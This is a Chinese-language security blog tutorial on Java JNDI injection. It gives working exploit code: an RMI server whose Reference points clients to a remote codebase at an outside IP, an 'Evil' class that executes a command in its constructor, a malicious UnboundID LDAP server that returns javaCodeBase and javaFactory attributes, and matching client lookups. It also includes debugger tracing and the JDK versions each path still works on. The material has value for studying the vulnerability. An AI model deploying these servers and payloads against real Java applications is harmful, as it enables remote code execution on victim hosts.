Java安全之JNDI注入
2022-06-17 10:41:38 # Java安全

前言

JNDI注入是反序列化漏洞常用的攻击手法之一。

JNDI概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。两者之间的关键差别是目录服务中对象不但可以有名称还可以有属性(例如,用户有email地址),而命名服务中对象没有属性。

JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作,还可以通过(LDAP)。再提一下RMI:

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。相当于利用RMI去动态加载类,RMI服务那里绑定了一个对象,然后通过JNDI 去获取RMI对应的绑定的那个对象。

通过得到的RMI服务端那里的对象,然后调用方法,实际上是在RMI服务那边执行的,也就是说这样攻击的是服务端,那如何攻击客户端呢。

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

当有客户端通过 lookup("refObj") 获取远程对象时,得到的是一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,如果本地未找到,则会去请求 http://ip:port/refClassName.class 动态加载 classes 并调用 insClassName 的构造函数、静态代码块、getObjectInstance()等。这些地方都可以写入恶意代码。而且这个调用是在客户端,而不是在服务端。这就实现了客户端的命令执行。

JNDI+RMI代码测试

客户端代码如下

1
2
3
4
5
6
7
8
9
10
11
12
package com.ljw.test;

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client2 {
public static void main(String[] args) throws Exception {
String url = "rmi://42.194.149.25:8111/test";
Context context = new InitialContext();
context.lookup(url);
}
}

服务端代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server2 {
public static void main(String[] args) throws Exception{
System.setProperty("java.rmi.server.hostname","42.194.149.25");
Registry registry = LocateRegistry.createRegistry(8111);
Reference feng = new Reference("1","Evil","http://42.194.149.25:8112/");//构造出一个Reference对象,第一个className用处不大,第二个参数factory是用来指定类名的,第三个参数就是当CLASSPATH找不到指定的类的时候,去搜索的远程URL路径了。也就是查找http://42.194.149.25:8112/Evil.class
ReferenceWrapper referenceWrapper = new ReferenceWrapper(feng);
registry.bind("test",referenceWrapper);
}
}

再写一个Evil.java

1
2
3
4
5
public class Evil {
public Evil() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

Evil.java编译好

image-20220617141530737

运行客户端代码

image-20220617163834298

这里弄了很久,之前运行一直显示timeout,后面调试发现,在rmi通信的时候是启用了一个随机端口比如44567,vps因为有安全组所以一直连不上,把安全组策略打开即可。

image-20220617164109795

JNDI+RMI调试分析

在lookup函数处打上断点

image-20220617164309349

跟进rmiURLContext#lookup

image-20220617164322361

通过rmiURLContext#getRootURLContext拿到var2,var2如下,里面把包括远程主机和对应的端口,以及绑定对象的名字

image-20220617164753147

继续跟进var3#lookup

image-20220617165035321

通过this.registry#lookup方法拿到RMI绑定的对象

image-20220617165354526

向下,跟进decodeObject()方法

image-20220617165531724

这里先判断var1是否是ReferenceWrapper类的对象,它implements RemoteReference了,所以会调用getReference(),获取Reference对象

image-20220617172709570

进入NamingManager.getObjectInstance,前面通过一些if语句的判断,重点是下面这几行代码

image-20220617172958249

跟进getObjectFactoryFromReference()函数,clas = helper.loadClass(factoryName);这里是本地类加载,因为找不到Evil类所以会加载失败。继续往下在codebase = ref.getFactoryClassLocation()中,FactoryClassLocation就是我们请求的URL,并赋值给codebase,下面就通过URLClassLoader远程加载类,跟进loadClass()方法,获取URLClassLoader

image-20220617174420127

再跟进loadClass()方法,可以看到这里用Class.forName加载类且第二个参数是true(默认也是true)会进行类的加载,也就是静态代码块。因此这时候静态代码块的代码可以执行。

image-20220617174351661

成功加载到了clas后,再return (clas != null) ? (ObjectFactory) clas.newInstance() : null;,调用它的newInstance()进行实例化,从而调用了无参构造器,执行了无参构造器里面的代码,因此可以将恶意代码放入无参构造器中。

image-20220617173457054

回到getObjectFactoryFromReference()调用处,继续往下,可以发现还会调用getObjectInstance()方法,因此也可以把代码写到getObjectInstance方法中

image-20220617175505727

调用链大致如下

image-20220617182136524

JNDI注入利用RMI的话,版本会受到极大的限制。

JNDI+LDAP代码测试

LDAP是轻型目录访问协议(英文:Lightweight Directory Access Protocol,缩写:LDAP)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。

因为RMI会受到限制,所以就有了JNDI+LDAP的注入方式。

除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package com.ljw.test;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAP_Server {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8112/#Evil"};
int port = 8111;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}


客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.ljw.test;


import javax.naming.Context;
import javax.naming.InitialContext;

public class LDAP_Client {
public static void main(String[] args) throws Exception {
String url = "ldap://127.0.0.1:8111/Evil";
Context context = new InitialContext();
context.lookup(url);
}
}


运行结果如下

image-20220617223742062

版本限制

RMI版本限制

这里还需要说下在 当RMI客户端引用远程对象将受本地Java环境限制,即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。

所以这里如果我们进行利用的话,客户端的RMI启动的时候就需要设置useCodebaseOnly

java在6u45、7u21开始java.rmi.server.useCodebaseOnly默认配置已经改为了true

在javasec中看到说是8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true

image-20220617180420743

除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)则无法调用远程的引用对象。

rmi的jndi在6u132,7u122,8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。

如果想要通过rmi的jndi进行加载恶意类,在jdk8中,版本就可以适用到113。

如下为jdk8u321的测试结果:

image-20220617182734089

LDAP版本限制

然后再说下ldap的jndi,ldap的jndi在6u211、7u201、8u191、11.0.1后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false。

这里就是为什么进行JNDI注入的时候用LDAP会通用,因为我们如果想要通过ldap的jndi进行加载恶意类,在jdk8中,版本就可以适用到8u191

image-20220617181311507

参考

https://blog.csdn.net/rfrder/article/details/120048519

https://www.cnblogs.com/nice0e3/p/13958047.html